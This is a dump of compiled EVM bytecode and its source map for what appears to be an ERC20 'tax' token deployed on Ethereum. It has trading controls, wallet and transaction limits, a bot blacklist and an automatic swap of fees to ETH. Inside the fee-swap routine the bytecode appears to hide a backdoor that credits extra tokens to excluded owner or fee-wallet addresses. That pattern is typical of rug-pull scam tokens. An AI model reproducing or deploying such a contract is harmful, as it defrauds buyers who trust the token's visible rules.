1600160a01b031663c9c6539630601060009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610817573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061083b91906117ab565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610888573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108ac91906117ab565b601180546001600160a01b039283166001600160a01b03199091161790556010541663f305d71947306108f4816001600160a01b031660009081526001602052604090205490565b6000806109096000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610971573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061099691906117c8565b505060115460105460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af11580156109ef573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a1391906117f6565b506011805460ff60a01b1916600160a01b179055565b600061040f338484610b5a565b6001600160a01b038316610a985760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610534565b6001600160a01b038216610af95760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610534565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610bbe5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610534565b6001600160a01b038216610c205760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610534565b60008111610c825760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610534565b6000610c8e848461139d565b601154909150600160a01b900460ff16610cef5780610cef5760405162461bcd60e51b815260206004820152601960248201527f54726164696e67206973206e6f74206f70656e656420796574000000000000006044820152606401610534565b6011546000906001600160a01b03868116911614801590610d1e57506011546001600160a01b03858116911614155b80610d335750601154600160a01b900460ff16155b80610d3b5750815b80610d4a5750600a54600b5410155b15610d5757506000610d5c565b506007545b6011546001600160a01b038581169116148015610d77575081155b15610e1657600c54831115610dd95760405162461bcd60e51b815260206004820152602260248201527f4578636565647320746865206d6178696d756d20616d6f756e7420746f2073656044820152611b1b60f21b6064820152608401610534565b6001600160a01b038516600090815260046020526040902054429003610e1657606460095484610e099190611730565b610e139190611818565b92505b6011546001600160a01b038681169116148015610e4157506010546001600160a01b03858116911614155b8015610e4b575081155b15610f4c57600c54831115610ea25760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e000000000000006044820152606401610534565b600d5483610ec5866001600160a01b031660009081526001602052604090205490565b610ecf919061183a565b1115610f1d5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610534565b6001600160a01b0384166000908152600460205260408120429055600b805491610f4683611792565b91905055505b30600090815260016020526040902054601154600160a81b900460ff16158015610f8357506011546001600160a01b038681169116145b8015610f985750601154600160a01b900460ff165b8015610fa65750600e548410155b15610fca57610fc1610fba600f54836113be565b8786611167565b610fca47611363565b60006064610fd88487611730565b610fe29190611818565b9050801561105f573060009081526001602052604090205461100590829061183a565b30600081815260016020526040908190209290925590516001600160a01b038916907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906110569085815260200190565b60405180910390a35b6001600160a01b03871660009081526001602052604090205461108390869061184d565b6001600160a01b0388166000908152600160205260409020556110a6818661184d565b6001600160a01b0387166000908152600160205260409020546110c9919061183a565b6001600160a01b0380881660008181526001602052604090209290925588167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef611113848961184d565b60405190815260200160405180910390a350505050505050565b600081848411156111515760405162461bcd60e51b81526004016105349190611413565b50600061115e848661184d565b95945050505050565b6011805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106111af576111af61177c565b6001600160a01b03928316602091820292909201810191909152601054604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611208573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061122c91906117ab565b8160018151811061123f5761123f61177c565b6001600160a01b0392831660209182029290920101526010546112659130911686610a36565b60105460405163791ac94760e01b81526001600160a01b039091169063791ac9479061129e908790600090869030904290600401611860565b600060405180830381600087803b1580156112b857600080fd5b505af11580156112cc573d6000803e3d6000fd5b50506011546001600160a01b039081169086160391506112ee90505750611351565b6112f7836113d3565b801561130c57506001600160a01b0383163014155b1561134f576001600160a01b03831660009081526001602052604090205461133590839061183a565b6001600160a01b0384166000908152600160205260409020555b505b50506011805460ff60a81b1916905550565b6006546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610506573d6000803e3d6000fd5b60006113a8836113d3565b806113b757506113b7826113d3565b9392505050565b60008183116113cd57826113b7565b50919050565b600080546001600160a01b03838116911614806113f857506001600160a01b03821630145b806104135750506006546001600160a01b0390811691161490565b600060208083528351808285015260005b8181101561144057858101830151858201604001528201611424565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461147657600080fd5b50565b803561148481611461565b919050565b6000806040838503121561149c57600080fd5b82356114a781611461565b946020939093013593505050565b6000806000606084860312156114ca57600080fd5b83356114d581611461565b925060208401356114e581611461565b929592945050506040919091013590565b60006020828403121561150857600080fd5b81356113b781611461565b634e487b7160e01b600052604160045260246000fd5b6000602080838503121561153c57600080fd5b823567ffffffffffffffff8082111561155457600080fd5b818501915085601f83011261156857600080fd5b81358181111561157a5761157a611513565b8060051b604051601f19603f8301168101818110858211171561159f5761159f611513565b6040529182528482019250838101850191888311156115bd57600080fd5b938501935b828510156115e2576115d385611479565b845293850193928501926115c2565b98975050505050505050565b6000806040838503121561160157600080fd5b823561160c81611461565b9150602083013561161c81611461565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111561167857816000190482111561165e5761165e611627565b8085161561166b57918102915b93841c9390800290611642565b509250929050565b60008261168f57506001610413565b8161169c57506000610413565b81600181146116b257600281146116bc576116d8565b6001915050610413565b60ff8411156116cd576116cd611627565b50506001821b610413565b5060208310610133831016604e8410600b84101617156116fb575081810a610413565b611705838361163d565b806000190482111561171957611719611627565b029392505050565b60006113b760ff841683611680565b808202811582820484141761041357610413611627565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b6000600182016117a4576117a4611627565b5060010190565b6000602082840312156117bd57600080fd5b81516113b781611461565b6000806000606084860312156117dd57600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561180857600080fd5b815180151581146113b757600080fd5b60008261183557634e487b7160e01b600052601260045260246000fd5b500490565b8082018082111561041357610413611627565b8181038181111561041357610413611627565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156118b05784516001600160a01b03168352938301939183019160010161188b565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122087a7fea7aef7468b57333fb8673fc40b2830809ef647f5d1b9983c99171818a364736f6c63430008130033

Deployed Bytecode Sourcemap

3924:8768:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5729:83;;;;;;;;;;-1:-1:-1;5799:5:0;;;;;;;;;;;;-1:-1:-1;;;5799:5:0;;;;5729:83;;;;;;;:::i;:::-;;;;;;;;6635:193;;;;;;;;;;-1:-1:-1;6635:193:0;;;;;:::i;:::-;;:::i;:::-;;;1327:14:1;;1320:22;1302:41;;1290:2;1275:18;6635:193:0;1162:187:1;6006:95:0;;;;;;;;;;;;;:::i;:::-;;;1500:25:1;;;1488:2;1473:18;6006:95:0;1354:177:1;6836:446:0;;;;;;;;;;-1:-1:-1;6836:446:0;;;;;:::i;:::-;;:::i;5915:83::-;;;;;;;;;;-1:-1:-1;5915:83:0;;4577:2;2139:36:1;;2127:2;2112:18;5915:83:0;1997:184:1;11007:86:0;;;;;;;;;;-1:-1:-1;11007:86:0;;;;;:::i;:::-;-1:-1:-1;;;;;11078:7:0;11054:4;11078:7;;;:4;:7;;;;;;;;;11007:86;12307:382;;;;;;;;;;;;;:::i;:::-;;11101:172;;;;;;;;;;-1:-1:-1;11101:172:0;;;;;:::i;:::-;;:::i;6109:119::-;;;;;;;;;;-1:-1:-1;6109:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6202:18:0;6175:7;6202:18;;;:9;:18;;;;;;;6109:119;2876:148;;;;;;;;;;;;;:::i;10733:162::-;;;;;;;;;;;;;:::i;4776:56::-;;;;;;;;;;;;;;;;2662:79;;;;;;;;;;-1:-1:-1;2700:7:0;2727:6;2662:79;;-1:-1:-1;;;;;2727:6:0;;;3842:51:1;;3830:2;3815:18;2662:79:0;3696:203:1;4839:58:0;;;;;;;;;;;;;;;;5820:87;;;;;;;;;;-1:-1:-1;5892:7:0;;;;;;;;;;;;-1:-1:-1;;;5892:7:0;;;;5820:87;;11281:778;;;;;;;;;;;;;:::i;6236:199::-;;;;;;;;;;-1:-1:-1;6236:199:0;;;;;:::i;:::-;;:::i;4904:54::-;;;;;;;;;;;;;;;;6443:184;;;;;;;;;;-1:-1:-1;6443:184:0;;;;;:::i;:::-;-1:-1:-1;;;;;6592:18:0;;;6560:7;6592:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6443:184;4965:58;;;;;;;;;;;;;;;;6635:193;6737:4;6759:39;282:10;6782:7;6791:6;6759:8;:39::i;:::-;-1:-1:-1;6816:4:0;6635:193;;;;;:::o;6006:95::-;6059:7;4637:13;4577:2;4637;:13;:::i;:::-;4621:29;;:13;:29;:::i;:::-;6079:14;;6006:95;:::o;6836:446::-;6968:4;6985:36;6995:6;7003:9;7014:6;6985:9;:36::i;:::-;7032:220;7055:6;282:10;7103:138;7159:6;7103:138;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7103:19:0;;;;;;:11;:19;;;;;;;;282:10;7103:33;;;;;;;;;;:37;:138::i;:::-;7032:8;:220::i;:::-;-1:-1:-1;7270:4:0;6836:446;;;;;:::o;12307:382::-;12373:14;;-1:-1:-1;;;;;12373:14:0;282:10;-1:-1:-1;;;;;12357:30:0;;12349:39;;;;;;12440:4;12399:20;6202:18;;;:9;:18;;;;;;12461:16;;12457:91;;12494:42;12511:12;12525:7;2700;2727:6;-1:-1:-1;;;;;2727:6:0;;2662:79;12525:7;12534:1;12494:16;:42::i;:::-;12579:21;12615:14;;12611:71;;12646:24;12659:10;12646:12;:24::i;:::-;12338:351;;12307:382::o;11101:172::-;2789:6;;-1:-1:-1;;;;;2789:6:0;282:10;2789:22;2781:67;;;;-1:-1:-1;;;2781:67:0;;;;;;;:::i;:::-;;;;;;;;;11180:9:::1;11175:91;11199:5;:12;11195:1;:16;11175:91;;;11250:4;11233;:14;11238:5;11244:1;11238:8;;;;;;;;:::i;:::-;;::::0;;::::1;::::0;;;;;;;-1:-1:-1;;;;;11233:14:0::1;::::0;;;::::1;::::0;;;;;;-1:-1:-1;11233:14:0;:21;;-1:-1:-1;;11233:21:0::1;::::0;::::1;;::::0;;;::::1;::::0;;11213:3;::::1;::::0;::::1;:::i;:::-;;;;11175:91;;2876:148:::0;2789:6;;-1:-1:-1;;;;;2789:6:0;282:10;2789:22;2781:67;;;;-1:-1:-1;;;2781:67:0;;;;;;;:::i;:::-;2983:1:::1;2967:6:::0;;2946:40:::1;::::0;-1:-1:-1;;;;;2967:6:0;;::::1;::::0;2946:40:::1;::::0;2983:1;;2946:40:::1;3014:1;2997:19:::0;;-1:-1:-1;;;;;;2997:19:0::1;::::0;;2876:148::o;10733:162::-;2789:6;;-1:-1:-1;;;;;2789:6:0;282:10;2789:22;2781:67;;;;-1:-1:-1;;;2781:67:0;;;;;;;:::i;:::-;4637:13:::1;4577:2;4637;:13;:::i;:::-;4621:29;::::0;:13:::1;:29;:::i;:::-;10787:12;:22:::0;4637:13:::1;4577:2;4637;:13;:::i;:::-;4621:29;::::0;:13:::1;:29;:::i;:::-;10820:14;:24:::0;10860:27:::1;4637:13;4577:2;4637;:13;:::i;:::-;4621:29;::::0;:13:::1;:29;:::i;:::-;10860:27;::::0;1500:25:1;;;1488:2;1473:18;10860:27:0::1;;;;;;;10733:162::o:0;11281:778::-;2789:6;;-1:-1:-1;;;;;2789:6:0;282:10;2789:22;2781:67;;;;-1:-1:-1;;;2781:67:0;;;;;;;:::i;:::-;11333:15:::1;:104:::0;;-1:-1:-1;;;;;;11333:104:0::1;11384:42;11333:104:::0;;::::1;::::0;;;11450:58:::1;::::0;11467:4:::1;::::0;4637:13:::1;4577:2;4637;:13;:::i;:::-;4621:29;::::0;:13:::1;:29;:::i;11450:58::-;11553:15;;;;;;;;;-1:-1:-1::0;;;;;11553:15:0::1;-1:-1:-1::0;;;;;11553:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11535:55:0::1;;11613:4;11633:15;;;;;;;;;-1:-1:-1::0;;;;;11633:15:0::1;-1:-1:-1::0;;;;;11633:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11535:131;::::0;-1:-1:-1;;;;;;11535:131:0::1;::::0;;;;;;-1:-1:-1;;;;;7104:15:1;;;11535:131:0::1;::::0;::::1;7086:34:1::0;7156:15;;7136:18;;;7129:43;7021:18;;11535:131:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11519:13;:147:::0;;-1:-1:-1;;;;;11519:147:0;;::::1;-1:-1:-1::0;;;;;;11519:147:0;;::::1;;::::0;;11677:15:::1;::::0;::::1;:31;11716:21;11761:4;11781:24;11761:4:::0;-1:-1:-1;;;;;6202:18:0;6175:7;6202:18;;;:9;:18;;;;;;;6109:119;11781:24:::1;11820:1;11836::::0;11852:7:::1;2700::::0;2727:6;-1:-1:-1;;;;;2727:6:0;;2662:79;11852:7:::1;11677:223;::::0;::::1;::::0;;;-1:-1:-1;;;;;;11677:223:0;;;-1:-1:-1;;;;;7542:15:1;;;11677:223:0::1;::::0;::::1;7524:34:1::0;7574:18;;;7567:34;;;;7617:18;;;7610:34;;;;7660:18;;;7653:34;7724:15;;;7703:19;;;7696:44;11874:15:0::1;7756:19:1::0;;;7749:35;7458:19;;11677:223:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;11918:13:0::1;::::0;11963:15:::1;::::0;11911:111:::1;::::0;-1:-1:-1;;;11911:111:0;;-1:-1:-1;;;;;11963:15:0;;::::1;11911:111;::::0;::::1;8280:51:1::0;-1:-1:-1;;8347:18:1;;;8340:34;11918:13:0;::::1;::::0;-1:-1:-1;11911:29:0::1;::::0;8253:18:1;;11911:111:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;12033:11:0::1;:18:::0;;-1:-1:-1;;;;12033:18:0::1;-1:-1:-1::0;;;12033:18:0::1;::::0;;11281:778::o;6236:199::-;6341:4;6363:42;282:10;6387:9;6398:6;6363:9;:42::i;7290:369::-;-1:-1:-1;;;;;7417:19:0;;7409:68;;;;-1:-1:-1;;;7409:68:0;;8869:2:1;7409:68:0;;;8851:21:1;8908:2;8888:18;;;8881:30;8947:34;8927:18;;;8920:62;-1:-1:-1;;;8998:18:1;;;8991:34;9042:19;;7409:68:0;8667:400:1;7409:68:0;-1:-1:-1;;;;;7496:21:0;;7488:68;;;;-1:-1:-1;;;7488:68:0;;9274:2:1;7488:68:0;;;9256:21:1;9313:2;9293:18;;;9286:30;9352:34;9332:18;;;9325:62;-1:-1:-1;;;9403:18:1;;;9396:32;9445:19;;7488:68:0;9072:398:1;7488:68:0;-1:-1:-1;;;;;7567:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7619:32;;1500:25:1;;;7619:32:0;;1473:18:1;7619:32:0;;;;;;;7290:369;;;:::o;7823:1984::-;-1:-1:-1;;;;;7945:17:0;;7937:67;;;;-1:-1:-1;;;7937:67:0;;9677:2:1;7937:67:0;;;9659:21:1;9716:2;9696:18;;;9689:30;9755:34;9735:18;;;9728:62;-1:-1:-1;;;9806:18:1;;;9799:35;9851:19;;7937:67:0;9475:401:1;7937:67:0;-1:-1:-1;;;;;8023:17:0;;8015:65;;;;-1:-1:-1;;;8015:65:0;;10083:2:1;8015:65:0;;;10065:21:1;10122:2;10102:18;;;10095:30;10161:34;10141:18;;;10134:62;-1:-1:-1;;;10212:18:1;;;10205:33;10255:19;;8015:65:0;9881:399:1;8015:65:0;8108:1;8099:6;:10;8091:64;;;;-1:-1:-1;;;8091:64:0;;10487:2:1;8091:64:0;;;10469:21:1;10526:2;10506:18;;;10499:30;10565:34;10545:18;;;10538:62;-1:-1:-1;;;10616:18:1;;;10609:39;10665:19;;8091:64:0;10285:405:1;8091:64:0;8168:9;8180:20;8191:3;8196;8180:10;:20::i;:::-;8218:11;;8168:32;;-1:-1:-1;;;;8218:11:0;;;;8213:60;;8239:4;8231:42;;;;-1:-1:-1;;;8231:42:0;;10897:2:1;8231:42:0;;;10879:21:1;10936:2;10916:18;;;10909:30;10975:27;10955:18;;;10948:55;11020:18;;8231:42:0;10695:349:1;8231:42:0;8327:13;;8286:12;;-1:-1:-1;;;;;8320:20:0;;;8327:13;;8320:20;;;;:44;;-1:-1:-1;8351:13:0;;-1:-1:-1;;;;;8344:20:0;;;8351:13;;8344:20;;8320:44;8319:62;;;-1:-1:-1;8370:11:0;;-1:-1:-1;;;8370:11:0;;;;8369:12;8319:62;:70;;;;8385:4;8319:70;:96;;;;8406:9;;8393;;:22;;8319:96;8315:145;;;-1:-1:-1;8424:1:0;8315:145;;;-1:-1:-1;8448:12:0;;8315:145;8484:13;;-1:-1:-1;;;;;8477:20:0;;;8484:13;;8477:20;:29;;;;;8502:4;8501:5;8477:29;8473:220;;;8541:12;;8531:6;:22;;8523:68;;;;-1:-1:-1;;;8523:68:0;;11251:2:1;8523:68:0;;;11233:21:1;11290:2;11270:18;;;11263:30;11329:34;11309:18;;;11302:62;-1:-1:-1;;;11380:18:1;;;11373:32;11422:19;;8523:68:0;11049:398:1;8523:68:0;-1:-1:-1;;;;;8610:13:0;;;;;;:8;:13;;;;;;8627:15;8610:32;;8606:75;;8678:3;8663:11;;8654:6;:20;;;;:::i;:::-;8653:28;;;;:::i;:::-;8644:37;;8606:75;8716:13;;-1:-1:-1;;;;;8709:20:0;;;8716:13;;8709:20;:55;;;;-1:-1:-1;8748:15:0;;-1:-1:-1;;;;;8733:31:0;;;8748:15;;8733:31;;8709:55;:64;;;;;8769:4;8768:5;8709:64;8705:324;;;8808:12;;8798:6;:22;;8790:60;;;;-1:-1:-1;;;8790:60:0;;11876:2:1;8790:60:0;;;11858:21:1;11915:2;11895:18;;;11888:30;11954:27;11934:18;;;11927:55;11999:18;;8790:60:0;11674:349:1;8790:60:0;8900:14;;8890:6;8873:14;8883:3;-1:-1:-1;;;;;6202:18:0;6175:7;6202:18;;;:9;:18;;;;;;;6109:119;8873:14;:23;;;;:::i;:::-;:41;;8865:79;;;;-1:-1:-1;;;8865:79:0;;12360:2:1;8865:79:0;;;12342:21:1;12399:2;12379:18;;;12372:30;12438:28;12418:18;;;12411:56;12484:18;;8865:79:0;12158:350:1;8865:79:0;-1:-1:-1;;;;;8959:13:0;;;;;;:8;:13;;;;;8975:15;8959:31;;9005:9;:12;;;;;;:::i;:::-;;;;;;8705:324;9090:4;9041:28;6202:18;;;:9;:18;;;;;;9112:6;;-1:-1:-1;;;9112:6:0;;;;9111:7;:31;;;;-1:-1:-1;9129:13:0;;-1:-1:-1;;;;;9122:20:0;;;9129:13;;9122:20;9111:31;:46;;;;-1:-1:-1;9146:11:0;;-1:-1:-1;;;9146:11:0;;;;9111:46;:77;;;;;9171:17;;9161:6;:27;;9111:77;9107:281;;;9254:72;9271:41;9275:14;;9291:20;9271:3;:41::i;:::-;9314:3;9319:6;9254:16;:72::i;:::-;9341:35;9354:21;9341:12;:35::i;:::-;9399:18;9439:3;9422:13;9431:4;9422:6;:13;:::i;:::-;9421:21;;;;:::i;:::-;9399:43;-1:-1:-1;9457:14:0;;9453:171;;9533:4;9515:24;;;;:9;:24;;;;;;:37;;9542:10;;9515:37;:::i;:::-;9506:4;9488:24;;;;:9;:24;;;;;;;:64;;;;9572:40;;-1:-1:-1;;;;;9572:40:0;;;;;;;9601:10;1500:25:1;;1488:2;1473:18;;1354:177;9572:40:0;;;;;;;;9453:171;-1:-1:-1;;;;;9653:14:0;;;;;;:9;:14;;;;;;:23;;9670:6;;9653:23;:::i;:::-;-1:-1:-1;;;;;9636:14:0;;;;;;:9;:14;;;;;:40;9722:19;9731:10;9722:6;:19;:::i;:::-;-1:-1:-1;;;;;9704:14:0;;;;;;:9;:14;;;;;;:38;;;;:::i;:::-;-1:-1:-1;;;;;9687:14:0;;;;;;;:9;:14;;;;;:55;;;;9760:39;;;9779:19;9788:10;9779:6;:19;:::i;:::-;9760:39;;1500:25:1;;;1488:2;1473:18;9760:39:0;;;;;;;7926:1881;;;;7823:1984;;;:::o;1464:224::-;1584:7;1620:12;1612:6;;;;1604:29;;;;-1:-1:-1;;;1604:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1644:9:0;1656:5;1660:1;1656;:5;:::i;:::-;1644:17;1464:224;-1:-1:-1;;;;;1464:224:0:o;9930:699::-;5271:6;:13;;-1:-1:-1;;;;5271:13:0;-1:-1:-1;;;5271:13:0;;;10082:16:::1;::::0;;10096:1:::1;10082:16:::0;;;;;::::1;::::0;;-1:-1:-1;;10082:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;10082:16:0::1;10058:40;;10127:4;10109;10114:1;10109:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10109:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;10153:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;10153:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;10109:7;;10153:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10143:4;10148:1;10143:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10143:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;10218:15:::1;::::0;10186:62:::1;::::0;10203:4:::1;::::0;10218:15:::1;10236:11:::0;10186:8:::1;:62::i;:::-;10259:15;::::0;:196:::1;::::0;-1:-1:-1;;;10259:196:0;;-1:-1:-1;;;;;10259:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;10340:11;;10259:15:::1;::::0;10382:4;;10409::::1;::::0;10429:15:::1;::::0;10259:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;10477:13:0::1;::::0;-1:-1:-1;;;;;10477:13:0;;::::1;10469:21:::0;;::::1;::::0;;-1:-1:-1;10466:155:0::1;::::0;-1:-1:-1;10466:155:0::1;10492:7;;;10466:155;10518:23;10536:4;10518:17;:23::i;:::-;:48;;;;-1:-1:-1::0;;;;;;10545:21:0;::::1;10561:4;10545:21;;10518:48;10514:107;;;-1:-1:-1::0;;;;;10600:15:0;::::1;;::::0;;;:9:::1;:15;::::0;;;;;:21:::1;::::0;10618:3;;10600:21:::1;:::i;:::-;-1:-1:-1::0;;;;;10582:15:0;::::1;;::::0;;;:9:::1;:15;::::0;;;;:39;10514:107:::1;10047:582;5295:1;-1:-1:-1::0;;5307:6:0;:14;;-1:-1:-1;;;;5307:14:0;;;-1:-1:-1;9930:699:0:o;10903:96::-;10960:14;;:31;;-1:-1:-1;;;;;10960:14:0;;;;:31;;;;;10984:6;;10960:14;:31;:14;:31;10984:6;10960:14;:31;;;;;;;;;;;;;;;;;;;7667:148;7735:4;7759:23;7777:4;7759:17;:23::i;:::-;:48;;;;7786:21;7804:2;7786:17;:21::i;:::-;7752:55;7667:148;-1:-1:-1;;;7667:148:0:o;9815:107::-;9872:7;9904:1;9900;:5;9899:15;;9913:1;9899:15;;;-1:-1:-1;9909:1:0;9815:107;-1:-1:-1;9815:107:0:o;5549:172::-;5614:4;2727:6;;-1:-1:-1;;;;;5637:18:0;;;2727:6;;5637:18;;:46;;-1:-1:-1;;;;;;5659:24:0;;5678:4;5659:24;5637:46;:75;;;-1:-1:-1;;5698:14:0;;-1:-1:-1;;;;;5698:14:0;;;5687:25;;;;5549:172::o;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;622:70;567:131;:::o;703:134::-;771:20;;800:31;771:20;800:31;:::i;:::-;703:134;;;:::o;842:315::-;910:6;918;971:2;959:9;950:7;946:23;942:32;939:52;;;987:1;984;977:12;939:52;1026:9;1013:23;1045:31;1070:5;1045:31;:::i;:::-;1095:5;1147:2;1132:18;;;;1119:32;;-1:-1:-1;;;842:315:1:o;1536:456::-;1613:6;1621;1629;1682:2;1670:9;1661:7;1657:23;1653:32;1650:52;;;1698:1;1695;1688:12;1650:52;1737:9;1724:23;1756:31;1781:5;1756:31;:::i;:::-;1806:5;-1:-1:-1;1863:2:1;1848:18;;1835:32;1876:33;1835:32;1876:33;:::i;:::-;1536:456;;1928:7;;-1:-1:-1;;;1982:2:1;1967:18;;;;1954:32;;1536:456::o;2186:247::-;2245:6;2298:2;2286:9;2277:7;2273:23;2269:32;2266:52;;;2314:1;2311;2304:12;2266:52;2353:9;2340:23;2372:31;2397:5;2372:31;:::i;2438:127::-;2499:10;2494:3;2490:20;2487:1;2480:31;2530:4;2527:1;2520:15;2554:4;2551:1;2544:15;2570:1121;2654:6;2685:2;2728;2716:9;2707:7;2703:23;2699:32;2696:52;;;2744:1;2741;2734:12;2696:52;2784:9;2771:23;2813:18;2854:2;2846:6;2843:14;2840:34;;;2870:1;2867;2860:12;2840:34;2908:6;2897:9;2893:22;2883:32;;2953:7;2946:4;2942:2;2938:13;2934:27;2924:55;;2975:1;2972;2965:12;2924:55;3011:2;2998:16;3033:2;3029;3026:10;3023:36;;;3039:18;;:::i;:::-;3085:2;3082:1;3078:10;3117:2;3111:9;3180:2;3176:7;3171:2;3167;3163:11;3159:25;3151:6;3147:38;3235:6;3223:10;3220:22;3215:2;3203:10;3200:18;3197:46;3194:72;;;3246:18;;:::i;:::-;3282:2;3275:22;3332:18;;;3366:15;;;;-1:-1:-1;3408:11:1;;;3404:20;;;3436:19;;;3433:39;;;3468:1;3465;3458:12;3433:39;3492:11;;;;3512:148;3528:6;3523:3;3520:15;3512:148;;;3594:23;3613:3;3594:23;:::i;:::-;3582:36;;3545:12;;;;3638;;;;3512:148;;;3679:6;2570:1121;-1:-1:-1;;;;;;;;2570:1121:1:o;3904:388::-;3972:6;3980;4033:2;4021:9;4012:7;4008:23;4004:32;4001:52;;;4049:1;4046;4039:12;4001:52;4088:9;4075:23;4107:31;4132:5;4107:31;:::i;:::-;4157:5;-1:-1:-1;4214:2:1;4199:18;;4186:32;4227:33;4186:32;4227:33;:::i;:::-;4279:7;4269:17;;;3904:388;;;;;:::o;4297:127::-;4358:10;4353:3;4349:20;4346:1;4339:31;4389:4;4386:1;4379:15;4413:4;4410:1;4403:15;4429:422;4518:1;4561:5;4518:1;4575:270;4596:7;4586:8;4583:21;4575:270;;;4655:4;4651:1;4647:6;4643:17;4637:4;4634:27;4631:53;;;4664:18;;:::i;:::-;4714:7;4704:8;4700:22;4697:55;;;4734:16;;;;4697:55;4813:22;;;;4773:15;;;;4575:270;;;4579:3;4429:422;;;;;:::o;4856:806::-;4905:5;4935:8;4925:80;;-1:-1:-1;4976:1:1;4990:5;;4925:80;5024:4;5014:76;;-1:-1:-1;5061:1:1;5075:5;;5014:76;5106:4;5124:1;5119:59;;;;5192:1;5187:130;;;;5099:218;;5119:59;5149:1;5140:10;;5163:5;;;5187:130;5224:3;5214:8;5211:17;5208:43;;;5231:18;;:::i;:::-;-1:-1:-1;;5287:1:1;5273:16;;5302:5;;5099:218;;5401:2;5391:8;5388:16;5382:3;5376:4;5373:13;5369:36;5363:2;5353:8;5350:16;5345:2;5339:4;5336:12;5332:35;5329:77;5326:159;;;-1:-1:-1;5438:19: